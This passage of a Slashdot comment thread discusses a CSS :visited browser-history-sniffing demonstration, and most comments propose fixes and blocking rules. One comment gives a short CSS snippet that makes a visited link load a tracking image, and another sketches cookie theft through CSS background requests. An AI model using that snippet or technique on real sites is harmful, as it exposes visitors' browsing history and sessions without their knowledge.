      At the very worst it could be an option in about:config that defaults to always load, which could be disabled back to current behavior if data transfer is that much of a concern (as you already would want to cut down other prefetch options in that case.)

      I have to question however, is there really a good need or use for a hidden flag on iframes at all??
      I honestly don't know, maybe its one of the more handy features in there, and I just don't see it from the user side of things, but 'hidden' is not an attribute I would ever imagine wanting on a frame or iframe...

    12. Re:For the Masses by hairyfeet · · Score: 1

      Run Firefox in one and Seamonkey in the other. Seamonkey the browser component is nothing but Firefox, and even many Firefox extensions work just fine with Seamonkey. You can choose browser only on install if you don't want/need the email, IRC chat, or HTML editor. Plus it is nice to have a "guest browser" for when you have.....guests.

      Or if you are on Windows you also have the choices of Kmeleon or KmeleonCCFME. Both are superfast Win32 native gecko engine builds, but they don't have as many extensions due to not using XUL. Of the two Kmeleon is great if you want it installed, but I prefer KmeleonCCFME because it comes with ABP installed and is already portable. Just unzip to a flash and go.

      This IMHO is one of the great things about Open Source software. if you think you have a better idea you are free to fork it your own way. I have found Seamonkey to be a very useful for getting my older clients away from Outlook Express/IE, and Kmeleon/CCFME is simply very fast on Windows.

      --
      ACs don't waste your time replying, your posts are never seen by me.
    13. Re:For the Masses by Anonymous Coward · · Score: 0

      Most people most vulnerable to this don't use the 'visited' functionality anyway, so YES, that would be a fix.

    14. Re:For the Masses by Keeper+Of+Keys · · Score: 2, Interesting

      is there really a good need or use for a hidden flag on iframes at all??
      I honestly don't know, maybe its one of the more handy features in there, and I just don't see it from the user side of things, but 'hidden' is not an attribute I would ever imagine wanting on a frame or iframe...

      With CSS you can hide anything you want to, in a number of different ways, and there are myriad reasons for wanting to do this. Most ajax sites would look a lot worse if the frames they use to silently load your data in the background were suddenly visible.

    15. Re:For the Masses by Anonymous Coward · · Score: 0

      And some of us use the 3.5 beta4 release with the private browsing mode.

    16. Re:For the Masses by aamcf · · Score: 2, Insightful

      Unless you're visiting illegal sites.

      Or sites that are unpopular among your peer group.

      And what about people in repressive regimes who visit illegal sites?

      By exposing your history, there is pressure on you to conform to the standards of those who hold power over you. Not a good thing.

    17. Re:For the Masses by MrMr · · Score: 2, Funny

      I like having my browser history so I can tell if I've read something or not.
      I think you'll find that ./ has found a way around that trick.
      Just duplicate a story from 2000, 2006 and 2009 with slightly different url's.

    18. Re:For the Masses by John+Hasler · · Score: 1

      Not everyone has unlimited bandwidth.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    19. Re:For the Masses by Koiu+Lpoi · · Score: 1

      And some of us use the much (MUCH) faster Chrome.

    20. Re:For the Masses by slower · · Score: 1

      And some of us use the much (MUCH) faster Chrome.

      ... which is unfortunately not available in a stable format for Linux yet.

      But you don't have to update to the latest beta of Firefox to have an "incognito" mode -- Firefox has supported this for quite some time. Essentially, you set up a second profile for incognito browsing and configure it such that it doesn't save history, cache, cookies, passwords, etc. Even better, install the Tor button extension and route all private browsing through the Tor network. There's not necessarily a guarantee that your discreet browsing artifacts aren't stored somewhere in memory while you're actually browsing, but it's still a hell of a way to keep things clean.

    21. Re:For the Masses by Blakey+Rat · · Score: 1

      That doesn't work with the Javascript-using version, though. Just this particular non-JS version.

      Since Javascript can still query for the computed style, it knows whether the browser determined that it should have the ":visited" background-- in fact the Javascript version doesn't require images at all, you can simply pick a unique color, or some other CSS property. (There are hundreds to choose from.)

    22. Re:For the Masses by gaspar+ilom · · Score: 1

      >come up with something trickier that requires no js.

      Nest a span in your anchor/link, and put a unique background-image on *that.*

      a.testlink:visited span#unique-id {
              background-image: url(unique-id.py);
      }

    23. Re:For the Masses by MightyYar · · Score: 1

      That doesn't work with the Javascript-using version, though.

      That's true, though I still consider browsing the internet without NoScript to be like... well, a bad idea :)

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    24. Re:For the Masses by MightyYar · · Score: 1

      Not everyone has unlimited bandwidth.

      Sites that load a different image based on every links visited status are fairly rare. But even if they weren't, it would just be another design decision that web designers would have to make when designing their sites. It's worth the hassle for the privacy boost, IMHO.

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    25. Re:For the Masses by MightyYar · · Score: 1

      Heh, way to shut me up. :)

      I guess the "solution" is to realize that your browsing history privacy is non-existent when surfing the web :)

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    26. Re:For the Masses by mtremsal · · Score: 1

      When I was younger, I had a hard time figuring out how to disable browser history and fields auto-completion...

      I was soo happy when I finally managed to do so ... but I had to explains to my parents why google would no longer help them with the queries.

  8. Doesn't work on me by MrMista_B · · Score: 2, Informative

    Doesn't work on me - Firefox, with adblock plus, element hiding helper, and flashblock, running whatever the latest Ubuntu is.

    1. Re:Doesn't work on me by Kotoku · · Score: 4, Funny

      Awesome! Now for all the people who can take and act upon that advice, we can protect .000001% of the population.

      It's a start!

    2. Re:Doesn't work on me by Frosty+Piss · · Score: 1

      Returned no results for me. FireFox on Windows, no adblock or noscript.

      --
      If you want news from today, you have to come back tomorrow.
    3. Re:Doesn't work on me by ElKry · · Score: 1

      Worked for me, Iceweasel with NoScript in debian SID 64bits.

    4. Re:Doesn't work on me by Anonymous Coward · · Score: 0

      It took a minute for me - I think I had to mouse over the window. Then I got a short, accurate list of results. Firefox on Leopard, running adblock and noscript.

      However, it didn't find anything that was visited during a Distrust session, so there's no harm here....

    5. Re:Doesn't work on me by Anonymous Coward · · Score: 0

      Now you're safe from people finding out how depraved you are. Except /. but we'd never use that information against you :>

    6. Re:Doesn't work on me by Anonymous Coward · · Score: 0

      This was my experience too, with the same setup (FF 3.5b4).

      Clean the cache every time I close the browser, but history is too useful.

  9. Old, sure... by sootman · · Score: 3, Interesting

    ... and maybe even nefarious, but you've got to admit: it's a neat hack (in the original sense of the word--i.e., clever)

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  10. Web Bug Blockers by furbearntrout · · Score: 1

    Eg. IMG like opera..
    You should only load remote images on demand.
    Sounds like a no-brainer to me.

    Yeah , I know must be new here..

    --
    Crap. What did the new CSS do with the "Post anonymously" option??
    1. Re:Web Bug Blockers by Snowblindeye · · Score: 2, Informative

      You should only load remote images on demand.

      [...]

      Yeah , I know must be new here..

      You're not new here, I can tell by the fact that you didn't read the article. Or the summary ;)

      This feature actually works like you want it to: It *does* load on demand. And that's the problem here. If it always loaded it this exploit wouldn't work. Its based on only being loaded on demand.

  11. It requires an iframe, so noscript will help you by Logic+Worshipper · · Score: 1

    since noscript blocks iframes, if you configure it properly.

  12. Clever and evil by dandart · · Score: 1

    +1 Evil

  13. Re:It requires an iframe, so noscript will help yo by yacc143 · · Score: 5, Informative

    It does not require an iframe. It's just that this way it's easier to hide any visual clues.

    The basic hack works simple. It sets a different style for visited links. (As such it will only match exact URLs). And one of the cool things your style for visited links specifies is a background URL that works as a webbug.

    yacc

  14. According to their scanner ive visited... by Anonymous Coward · · Score: 0

    The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

  15. Alarming? by actionbastard · · Score: 2, Insightful

    From an exploit standpoint, no. From an editorial standpoint, yes.

    --
    Sig this!
    1. Re: Alarming? by transporter_ii · · Score: 2, Funny

      Well, at least I don't have the hiccups any more.
      .
      .

      --
      Doctors destroy health, lawyers destroy justice, universities destroy knowledge, religion destroys spirituality
  16. Re:It requires an iframe, so noscript will help yo by a-zA-Z0-9$_.+!*'(),x · · Score: 1
    You're right. You can just add the attribute "hidden" and stick it at -9999 and the user won't see it.

    tOM

    --
    Epitaph: At last! Root access!
  17. How To Fix Without Breaking CSS by The+MAZZTer · · Score: 1

    Normally the browser won't load a CSS-defined external resource if it's not required, but in this case, for links it should load resources under :visited for any link, visited or not. This way this PoC would return visited for any random site, they really wouldn't get any useful data. However 1) it uses a bit more bandwidth fetching images that may not be used, although they are precached in the event the links do end up being clicked and 2) false positives on sites which use this for targeted ads etc might trigger said ads.

    My idea for a fix for the JS version of the exploit (IIRC it's where you fetch the style information for a link, say, it's color, and have visited links colored differently from unvisited) would be to have any JS queries against CSS on links return the styling of the link if it WASN'T visited... regardless of whether it actually is or not. Shouldn't break any web apps unless someone uses it like a HTTP referer to see if you came from their site to the current page or something...

    1. Re:How To Fix Without Breaking CSS by Skapare · · Score: 2, Interesting

      IMHO a better fix is to completely disable looking up browser history for link styling. Let it treat all links as unvisited if there is no difference in styling these different classes of links. Make it the default to use the same style (most people don't care). Then re-enable the lookup if the styles are changed and the result of the change is 2 or more different styles (and pop up a warning that JS and CSS and see these style variations and this can expose detection of sites you have visited).

      --
      now we need to go OSS in diesel cars
    2. Re:How To Fix Without Breaking CSS by nacturation · · Score: 1

      The GP's solution doesn't break any functionality while at the same time making this exploit useless. If background images can be used to detect visit status, then just load them all regardless of visit status but still display them correctly to the user. The current implementation selectively loads only the ones that will get displayed, which is what makes this exploit possible. If queried via javascript (the other attack vector) always return the unvisited state.

      Everything still works 100% in that the user sees what they always expected to see, but a malicious site will not be able to gather any information. Your solution of "completely disabling browser history for link styling" breaks functionality which, to me, isn't a better fix.

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    3. Re:How To Fix Without Breaking CSS by Keeper+Of+Keys · · Score: 1

      Trouble is, that would only protect against this particular exploit. All the while the :visited property can be probed by a site's CSS or javascript the possibility of new exploits remains. See my comment above for another solution.

    4. Re:How To Fix Without Breaking CSS by legirons · · Score: 1

      IMHO a better fix is to completely disable looking up browser history for link styling. Let it treat all links as unvisited if there is no difference in styling these different classes of links. Make it the default to use the same style (most people don't care). Then re-enable the lookup if the styles are changed and the result of the change is 2 or more different styles (and pop up a warning that JS and CSS and see these style variations and this can expose detection of sites you have visited).

      Or disallow transmission to webservers of data derived from browser-rendering?
       

    5. Re:How To Fix Without Breaking CSS by maxume · · Score: 1

      That means javascript can't have that info; otherwise, it can just set an image source to a url that has the data embedded in it.

      --
      Nerd rage is the funniest rage.
    6. Re:How To Fix Without Breaking CSS by jareth-0205 · · Score: 1

      You think a pop-up giving a warning difficult to understand by most users is good security practice? *Really*?

    7. Re:How To Fix Without Breaking CSS by legirons · · Score: 1

      That means javascript can't have that info; otherwise, it can just set an image source to a url that has the data embedded in it.

      Wouldn't javascript's "tainted data" model handle that? Data from the output of the rendering engine could be considered tainted, and tainted data can't be used for anything that causes outbound traffic.

  18. In Soviet Russia, web sites visit you by Skapare · · Score: 3, Interesting

    I'm letting it scan my browser now. So far the only thing it has found is Slashdot. It could maybe find sites that I've followed links from Slashdot to. But it won't find much because I run a separate browser instance, with its own (initially empty) browser history, cookies, etc, for each site I visit via by the means I have set up to start a new browser (command line script, and menu selection for the browser). And for those of you who are wanting to tell me "but Firefox just joins all startups into the same process and only gives you a new window". Well, I defeated that by dynamically creating a new home directory on the fly for each startup, populating it with a template set of files Firefox expects, setting the HOME environment variable to that path, and starting the Firefox process. So the scanning of my browser is limited to just what this one I use for Slashdot has visited recently.

    --
    now we need to go OSS in diesel cars
    1. Re:In Soviet Russia, web sites visit you by Anonymous Coward · · Score: 2, Insightful

      Well, I defeated that by dynamically creating a new home directory on the fly for each startup, populating it with a template set of files Firefox expects, setting the HOME environment variable to that path, and starting the Firefox process. So the scanning of my browser is limited to just what this one I use for Slashdot has visited recently.

      Script plz?

      This has been a pet peeve of mine for ages. I've got a bunch of users in a Windows environment without Cygwin, but I'd translate the shell script into DOS .BAT if that's what it takes to solve this problem.

    2. Re:In Soviet Russia, web sites visit you by Minwee · · Score: 1

      Canadian zip code humor: http://tinyurl.com/V4G1N4

      That would be a lot funnier if Canada actually used zip codes. Or "humor". But at least you spelled the first word right.

    3. Re:In Soviet Russia, web sites visit you by BikeHelmet · · Score: 1

      That was supposed to be funny, right? I can't imagine anyone going to that much effort. Are you also running it in a virtual machine?

      Anyway... I scanned with it, and it found nothing. But since my browser has no history, maybe that's affecting it.

    4. Re:In Soviet Russia, web sites visit you by Anonymous Coward · · Score: 0

      For when you don't need/want all of Cygwin, you can use this little package of Unix utilities. It covers the basic Unix commands and includes a basic shell.

    5. Re:In Soviet Russia, web sites visit you by Skapare · · Score: 1

      The script is rather large because it has a lot of other customization in it.

      --
      now we need to go OSS in diesel cars
    6. Re:In Soviet Russia, web sites visit you by Skapare · · Score: 1

      I wrote the script for many reasons. It customizes the browser on the fly, too. For example, it codes the process ID of the shell that parents it into the localnet IP address configured to connect to the proxy server with. That way I can track connections back to specific browser instances. It also puts the process ID into the default home page after "#". There are some other customizations, some controlled by environment variables. And it is not yet converted to FF 3 (error: out of space on todo plate).

      --
      now we need to go OSS in diesel cars
    7. Re:In Soviet Russia, web sites visit you by Blakey+Rat · · Score: 2, Informative

      So... you posted just to brag about the extreme efforts you go to to support your irrational paranoia?

      Thanks, I guess?

    8. Re:In Soviet Russia, web sites visit you by Richard+W.M.+Jones · · Score: 1

      Have you written a web page / blog entry about this some place?

      Rich.

    9. Re:In Soviet Russia, web sites visit you by Jah-Wren+Ryel · · Score: 1

      The script is rather large because it has a lot of other customization in it.

      All the more reason to share it. I bet you find that there is a sizable audience for a tool like that, including all the extra customizations that sound like they fall under the same general principle of better user control over their own security.

      --
      When information is power, privacy is freedom.
    10. Re:In Soviet Russia, web sites visit you by Anonymous Coward · · Score: 0

      You must be a hit with the ladies.

    11. Re:In Soviet Russia, web sites visit you by Bryan_W · · Score: 1

      And for those of you who are wanting to tell me "but Firefox just joins all startups into the same process and only gives you a new window". Well, I defeated that by dynamically creating a new home directory on the fly for each startup, populating it with a template set of files Firefox expects, setting the HOME environment variable to that path, and starting the Firefox process. So the scanning of my browser is limited to just what this one I use for Slashdot has visited recently.

      If you didn't want to go through all of that hassle, you could have just done:
      env MOZ_NO_REMOTE=1 firefox --ProfileManager
      It starts a new firefox instance and gives you the option of creating a new profile for a site. Comes in handy for me.
      Also check out prism

    12. Re:In Soviet Russia, web sites visit you by hunteke · · Score: 1

      Umm, I run separate browser instances all the time. I do it mainly to keep different projects separated, but there's no special script necessary. It's a commandline option to Firefox, which I've updated in my launch icon:

      $ firefox -ProfileManager -no-remote

      This tells the new instance of firefox to not use an already existing firefox instance (-no-remote), and allows you to select or create a different profile. The histories are completely separate.

    13. Re:In Soviet Russia, web sites visit you by jorx · · Score: 1
      About your sig:

      Canadian zip code humor: http://tinyurl.com/V4G1N4

      Yeah, it's funny... kinda. But Canada doesn't have zip codes ;)

    14. Re:In Soviet Russia, web sites visit you by Anonymous Coward · · Score: 0

      What's wrong with just using "firefox -P profile --no-remote"?

  19. Comment removed by account_deleted · · Score: 4, Interesting

    Comment removed based on user account deletion

  20. Chrome by Runaway1956 · · Score: 1

    Some browsers DO allow running a second instance.

    Send Firefox developers a polite nasty-gram, telling them that you want the ability to open a second, third, or even fourth instance of FF in seperate memory space.

    --
    "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    1. Re:Chrome by Z80xxc! · · Score: 4, Informative

      would be a lot easier if I could run two separate instances of Firefox simultaneously.

      Send Firefox developers a polite nasty-gram, telling them that you want the ability to open a second, third, or even fourth instance of FF in seperate memory space.

      This functionality already exists.

      "%programfiles%\Mozilla Firefox\firefox.exe" -P "profile to use" -no-remote

    2. Re:Chrome by Runaway1956 · · Score: 1

      Mod parent up, people.

      To be perfectly honest, I think I've read that article before - or one very much like it. Because I didn't see a need for it, I just forgot it.

      Thank you, Z80xxc!

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    3. Re:Chrome by Anonymous Coward · · Score: 0
      Dude, thanks for --no-remote!

      This also solves a problem where I've had the occasional crash. I hate losing all my other sessions while trying to get this page I'm working on to work correctly.

    4. Re:Chrome by Anonymous Coward · · Score: 0

      nobody@home:~$ "%programfiles%\Mozilla Firefox\firefox.exe" -P "profile to use" -no-remote
      bash: fg: %programfiles%\Mozilla Firefox\firefox.exe: no such job

  21. Re:For the Masses (mod parent up) by Mjec · · Score: 1

    The fix is dead-simple: the browser should load all "a:visited" images, regardless of whether or not it will display them.

    I never, ever thought I'd write a post with "mod parent up" in the subject line but this is genius. Perfect solution to all these web-bug issues and really just another form of prefetching.

    --
    "But everyone should know everything." -markab
  22. Actually by Cylix · · Score: 1

    There are several firefox plugins which limit and reduce your history.

    I don't think the NoScript fellows are specifically targeting anonymity, but rather simply choosing what actions (in a volatile world) can be executed.

    There exist a world of many more precautions to take for those who are worried about keeping their privacy.

    --
    "You should always go to other people's funerals; otherwise, they won't come to yours." -- Yogi Berra
  23. Besides visited sites... by sam0737 · · Score: 1

    For site that allowed user to post CSS content, and that's there is interest to steal the cookie, it could be done in the same way.
    For example, xanga.com (cookie to steal your login info), or Forum/BBS site that allows poisting CSS.

    The cookies will be sent along with the CSS background request.

    Blogger/Blogspot is a good example how this should be handled...just put it in two different domains.

    1. Re:Besides visited sites... by Anonymous Coward · · Score: 0

      It won't do much good to steal a cookie for login info. You would have to be a complete moron to set login cookies that contained anything more than a hash, which would be worthless to anyone stealing it.

    2. Re:Besides visited sites... by sam0737 · · Score: 1

      If it's a hash, then what?

      At least I could hijack your session, and do anything with your name until you logout.

      That means posting Bad Thing on the Forum/BBS, vandalize your blog, peek into your private message, change the password (if it doesn't require existing password verification)

  24. No more "cool" stuff, please. by Waccoon · · Score: 1

    I can disable JavaScript, Java, cookies, and password memorization. That's great. Now, please let me disable the most useless feature of all: iframes.

    Oh, wait... then web developers will inject 3rd party web code directly into the main document with AJAX, which is even worse.

    1. Re:No more "cool" stuff, please. by Keeper+Of+Keys · · Score: 1

      Not if you've disabled javascript.

    2. Re:No more "cool" stuff, please. by betterunixthanunix · · Score: 1

      "Oh, wait... then web developers will inject 3rd party web code directly into the main document with AJAX, which is even worse."

      Not if you disable Javascript: AJAX = Asynchronous Javascript And Xml.

      --
      Palm trees and 8
  25. defeated by Skapare · · Score: 1

    That's the Slashdot Effect at work protecting your privacy.

    --
    now we need to go OSS in diesel cars
  26. OT: Re:big issue is NoScript by John+Meacham · · Score: 1

    Indeed. the "no mod and comment" rule is perhaps one of the most ill-concieved rules I have seen. It just ensures the people moderating on a topic are the ones who arn't knowledgeable enough to comment on it (or vice versa). Unscrupulous people can just use sockpuppet accounts to moderate so it really only affects honest users who are likely the ones who will add value by commenting and moderating.

    --
    http://notanumber.net/
    1. Re:OT: Re:big issue is NoScript by BrokenHalo · · Score: 5, Insightful

      the "no mod and comment" rule is perhaps one of the most ill-concieved rules I have seen.

      Then perhaps you haven't understood the concept behind the rule. The idea is to prevent individuals having unrestrained ability to push an agenda of their own: hence mod or post, but not both.

      Unlike some other long-standing rules on this forum, this is one that actually has very sound reasoning behind it.

    2. Re:OT: Re:big issue is NoScript by Anonymous Coward · · Score: 0

      I used to keep an alt account active specifically so that I could mod down my opponents. Even though slashdot goes so far as to portscan you before you can post, it was too stupid to figure out this trick.

    3. Re:OT: Re:big issue is NoScript by Anonymous Coward · · Score: 0

      Surely it was hit or miss whether you had mod points that day? Unless you post quite a bit with your sock-puppet, I imagine you'd rarely get given them.

      Anyway the way to do it is to post AC, reload the page then mod up your own AC comment.

    4. Re:OT: Re:big issue is NoScript by BrokenHalo · · Score: 1

      ...I used to keep an alt account active specifically so that I could mod down my opponents...
      ...Anyway the way to do it is to post AC, reload the page then mod up your own AC comment.


      These comments illustrate exactly my pet peeve about Slashdot, and why I think AC posting should be stopped. Discussions are least worth reading when people like you insist on turning them into some adolescent type of adversarial point-scoring video-game.

    5. Re:OT: Re:big issue is NoScript by devman · · Score: 1

      As the GP pointed out, you can just do this with sock puppets, so now it only prevents honest users from modding and contributing. Does not seam like very sound reasoning at all.

    6. Re:OT: Re:big issue is NoScript by shentino · · Score: 1

      Better still would be:

      1. You cannot moderate any topic you've posted in
      2. Posts lock you out from moderating further
      3. Existing moderations stay put.

      Or:

      1. Any mod points cancelled by a post get redistributed.

    7. Re:OT: Re:big issue is NoScript by unitron · · Score: 1

      1. Any mod points cancelled by a post get redistributed.

      Actually, I'm pretty sure that they do. Just not to the same person. :-)

      (I figure that's why I occasionally get 10 or 15 instead of the usual 5, somebody else screwed up, and now I'm supposed to cover for them.)

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

  27. Ingenious by pixelot · · Score: 1

    This is pretty sweet, albeit scary.

  28. Re:It requires an iframe, so noscript will help yo by Anonymous Coward · · Score: 0

    You know what, if you really feel you must repeat your username again as a sig, why not put it in the sig field so we can all filter that stupid crap out.

  29. Re:It requires an iframe, so noscript will help yo by yacc143 · · Score: 1

    Well, hidden might well turn off the complete processing.

    OTOH, yes, I think there are a number of ways to hide the links with CSS (foreground == background comes to mind).

    yacc

  30. Another workaround... by raehl · · Score: 1

    Only visit really obscure por... dating sites.

  31. Trolls by iYk6 · · Score: 1, Troll

    Trolls are given mod points too.

  32. On the other hand by bytesex · · Score: 1

    Maybe one can use this site to their advantage. Obviously, the owners know something we know not - popularity of websites. If you can 'play' the browser at the user end, you can have a look into their database. See what they're searching for and how. It cuts both ways.

    --
    Religion is what happens when nature strikes and groupthink goes wrong.
    1. Re:On the other hand by bbosh · · Score: 1

      Maybe one can use this site to their advantage. Obviously, the owners know something we know not - popularity of websites. If you can 'play' the browser at the user end, you can have a look into their database. See what they're searching for and how. It cuts both ways.

      It's from Alexa and Yahoo's search API

  33. Interesting by Heytunk · · Score: 1

    Thats a interesting trick.

    Doesnt actually require iframes, and can be used by advertisers to pin down your 'preferences' over several pages as they track you.

  34. stopping CSS processing by Anonymous Coward · · Score: 1, Interesting

    Hmm, so how does one go about turning off CSS processing in a browser?

  35. simple block by Anonymous Coward · · Score: 3, Informative

    putting the rule
    a:visited {
              background:none !important;
    in userContent.css seems to stop this particular scan.

    1. Re:simple block by Christopher+Fritz · · Score: 1

      I was thinking the same thing, but what about ::before and ::after? Certainly there's more to block. So, how long until someone puts up a web page with a more in-depth bit of CSS one can drop into their browser's user CSS area to completely block this?

    2. Re:simple block by Anonymous Coward · · Score: 0

      would this work?
      a:link {background:none !important;}
      a:link:before {background:none !important; content:none !important;}
      a:link:after {background:none !important; content:none !important;}
      a:visited {background:none !important;}
      a:visited:before {background:none !important; content:none !important;}
      a:visited:after {background:none !important; content:none !important;}

    3. Re:simple block by Ant+P. · · Score: 1

      Great, now do that for all other combinations of child/adjacent/pseudoelement selectors too.

    4. Re:simple block by gibson042 · · Score: 0

      And rendering all links as unvisited by default (perhaps relegating :visited exclusively to user style sheets) would permanently resolve it. Like the specification suggests.

    5. Re:simple block by Anonymous Coward · · Score: 0

      Confirmed....

      This works. Adding the A:visited { background-image: none ! important; },
      prevents this technique from pulling any history.

  36. since years by Anonymous Coward · · Score: 1, Informative

    I have written bug reports which got no attention at all. For years I was laughed at in forums for describing this problem.

    There are some tools, which don't get updated anymore, safecache and safehistory. Here are papers from 2006:

    http://crypto.stanford.edu/sameorigin/

    cb

  37. won't help if you wish to share cache/history by Anonymous Coward · · Score: 0

    like you can with IE, separate memory instance, share cookies/cache/history...
    that way if one instance crashes, it doesn't take all of them down

    i'm not discounting the usefulness of profiles,
    but this is a feature practically every windows program has,
    and firefox team won't put in out of spite (it would literally take 10 lines of code)

  38. Re:It requires an iframe, so noscript will help yo by Anonymous Coward · · Score: 0

    ... why not the good old height="1px" width="1px" ?
    Or for the CSS people, img.stealinurhistories:visited {height:1px!important; width:1px!important; url-leeching-method-of-preference-here}
    That could probably defeat a few CSS overrides, could probably throw in some positioning, z-index, etc.

    You could probably even go as far as chaining all the way through the DOM to increase the rules weight. (at least, i think this adds more weight to it, i never did look into it. Anyone?)

    In fact, 0 might work, but i prefer to stay away from 0.

  39. Easy to block in Firefox by Anonymous Coward · · Score: 1, Informative

    This is for FF 3.0. YMMV with other versions and other browsers.

    Go to Preferences -> Advanced -> General. Under "Accessibility" check the option for "Warn me when web sites try to redirect or reload the page".

    The attack relies on trying a lot of links ... but with the above setting FF warns on each attempt, with a warning across the top of the page saying "Firefox prevented this page from automatically redirecting to another page". So the attack could proceed if you sat there clicking the "approve" button constantly. But after the second or third warning, well, I hope you'd become suspicious.

  40. Extremely old news by Anonymous Coward · · Score: 0

    This has been known for years.

    It was also used in our group for one of those Myspace trackers until they got around to disallowing parameter-based images being set as a source. (and this was at least 4 years ago, if not that, then 5)
    Not been bothered to figure ways around it since then really, group broke, rest is history.

  41. Just replace history with bookmarks by Anonymous Coward · · Score: 0

    Instead of using browser history, bookmark everything moderately interesting in your history and then disable it. You still get URL auto-completion, but there's no history so the standard history attacks won't work.

    Of course, if there's a bookmark hack then you're hosed!

  42. Simple... by BrokenHalo · · Score: 2, Interesting

    No, the simplest solution is to adopt a policy I took up in the late '90s when it first occurred to be that my history might be sniffed:

    Delete it.

    That's right. It's perfectly possible to live a fulfilled life without browser history, or cookies for that matter. In fact, I still have my cookies file symlinked to /dev/null, though I am aware that current browsers offer an option to clear it...

  43. Except... by Anonymous Coward · · Score: 0

    this attack doesn't depend on a re-direct, it relies on loading images, not on redirects.

  44. Minefield stops it by programmer780 · · Score: 1

    Since I'm using minefield (nightly Firefox build), it has a "private browsing mode" which, as expected, doesn't let the site do this. I find it very useful.

  45. What is a:visited good for anyway? by Anonymous Coward · · Score: 0

    I keep a browser history to find visited pages faster, but that only works because it takes frecency into account. A binary visited/non-visited flag becomes asymptotically useless as history builds up over time. Even more so on shared computers.

    As a quick fix, it shouldn't be too hard to write a userscript that either inserts hidden links for all a:visited styles or disables custom a:visited styles.

  46. Firefox extension fixes this by Anonymous Coward · · Score: 0

    https://addons.mozilla.org/en-US/firefox/addon/1502 seems to protect against this

  47. Disable :visited in Firefox by Anonymous Coward · · Score: 1, Informative

    layout.css.visited_links_enabled = false

    1. Re:Disable :visited in Firefox by fcparfait · · Score: 2, Informative

      layout.css.visited_links_enabled = false

      Note: this works only in Firefox 3.5 (Beta/Preview).

      By the way, if you are using Firefox 3.5 with layout.css.visited_links_enabled = false and you still want some visual clue for visited links, try my Link Status extension! (How pushy....)

  48. Re:For the Masses (mod parent up) by dmomo · · Score: 1

    Agreed. And in my over-excitement of creating a counter-example, I forgot to acknowledge the cleverness of this solution.

  49. caja by tukia · · Score: 1

    What we need is caja, http://code.google.com/p/google-caja

  50. layout.css.visited_links_enabled by Anonymous Coward · · Score: 2, Informative

    or change the about:config setting called "layout.css.visited_links_enabled"

    1. Re:layout.css.visited_links_enabled by zobier · · Score: 1

      That's even better, thanks.

      --
      Me lost me cookie at the disco.
    2. Re:layout.css.visited_links_enabled by Anonymous Coward · · Score: 1, Informative

      Does this work? It doesn't exist as a default entry, so I used a clean profile (no extensions, but few entries in the history for this test) and created a boolean key of that name and set it to false and the demo site still pulled my history, I also tried setting it to true just to be sure, same result.

  51. forward delete on a mac by Anonymous Coward · · Score: 0

    FYI, you can get forward delete on a Mac with only a backspace button by holding the "Function" button and hitting backspace.

  52. results completely incorrect by Jon47 · · Score: 1

    Are we certain this isn't a scam to exploit slashdot traffic? I'm a proud purveyer of the occasional pornography, but that website claimed I visited hundreds of adult sites i've never even heard of.